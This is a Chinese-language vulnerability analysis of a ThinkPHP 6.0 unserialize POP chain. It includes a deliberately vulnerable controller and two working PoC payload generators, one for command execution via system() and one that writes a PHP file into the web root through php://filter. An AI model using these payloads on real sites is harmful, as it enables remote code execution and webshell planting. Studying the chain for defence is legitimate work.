环境准备
安装ThinkPHP 6.0
composer create-project topthink/think=6.0.x-dev v6.0
修改application/index/controller/Index.phpIndex类的代码
class Index
{
public function index()
{
$payload = unserialize(base64_decode($_GET['payload']));
return 'ThinkPHP V6.x';
}
}
开启ThinkPHP6调试
将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true
POP链分析
__destruct()
依旧是全局搜索__destruct(),我们查看在/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php中的__destruct
使 $this->autosave = false 可以触发 $this->save()
CacheStore
AbstractCache是一个抽象类,我们使用find usages寻找继承它的类
在/vendor/topthink/framework/src/think/filesystem/CacheStore.php中的CacheStore类继承了AbstractCache类,并实现了 save() 方法
save() 方法中涉及 getForStorage() 方法,我们跟进此方法
getForStorage()
回到AbstractCache.php中我们找到了 getForStorage() 方法,继续跟进 cleanContents()
cleanContents()
array_flip对数组反转,array_intersect_key取数组交集
然后函数会将 $contents 返回给 getForStorage() 中的 $cleaned ,经过 json_encode 后返回给前面的 save() 方法
$contents 变量接收函数返回值后,进入下面了逻辑,此时$this->store是可控的,我们可以调用任意类的set方法,如果这个指定的类不存在set方法,就有可能触发__call()。当然也有可能本身的set()方法就可以利用。
Notice:在对象中调用一个不可访问方法时,__call()会被调用。有关 __call() 方法的详细说明,参见php手册https://www.php.net/manual/zh/language.oop5.overloading.php#object.call
set()
我们利用在File类中的 set() 方法
serialize()方法
此处有两种利用方法,我们先分析利用 serialize() 方法的POP链
$this->options\['serialize'][0]可控,可以执行任意函数,参数为$data
我们从set()方法中可知,$data 来源于 $value 的传值,在继续从CacheStore 中可知 $value 来源于 $contents ,
即json_encode后的数据,由此我们需要使json_encode后的数据被当作代码执行。
此时需要注意一个问题
我们发现由于 json_encode 的缘故,命令被方括号包裹导致无法正常执行。在Linux环境中我们可以使用 `command` 这样的形式使被包裹的command优先执行,我们可以构造如下payload
报错信息中包含命令执行结果
POC
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "`id`";
// protected $complete = "\"&whoami&" ;
// 在Windows环境中反引号无效,用&替代
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["system"],"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>file_put_contents()写文件
第179行可以看到 file_put_contents() 有两个参数 $filename、$data ,向上查找这两个变量从何而来
$data:前面分析已知来源于$this->serialize,此处存在 exit() ,我们可以使用 php://filter来避免。
$filename:
此函数的返回值是带有文件名的文件路径
第67行
$name = hash($this->options['hash_type'], $name);
$name 为文件名,来源于$this->key,可控,$this->options['hash_type']也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中$key = "1",$this->options['hash_type'] = 'md5',所以最终文件名为1的md5值)。
$this->options['path'] 使用php filter构造 php://filter/write=convert.base64-decode/resource=think/public/ 指向tp6根目录
最终拼接后的$filename 为
php://filter/write=convert.base64-decode/resource=think/public/name.php
此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。
假设传入的$expire=1,那么shell前面部分在拼接之后能够被解码的有效字符为:php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。
POC
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $complete = "uuuPD9waHAgcGhwaW5mbygpOw==";
//文件内容是phpinfo(); uuu为在其前面随意填充的三个字符
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver
{
protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>false,"hash_type"=>"md5","cache_subdir"=>false,"path"=>"php://filter/write=convert.base64-decode/resource=think/public/","data_compress"=>0];
}
}
// 路径最好写成绝对路径
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo base64_encode(serialize($cache));
}
?>
使用此方法需注意路径是否可写以可执行等权限问题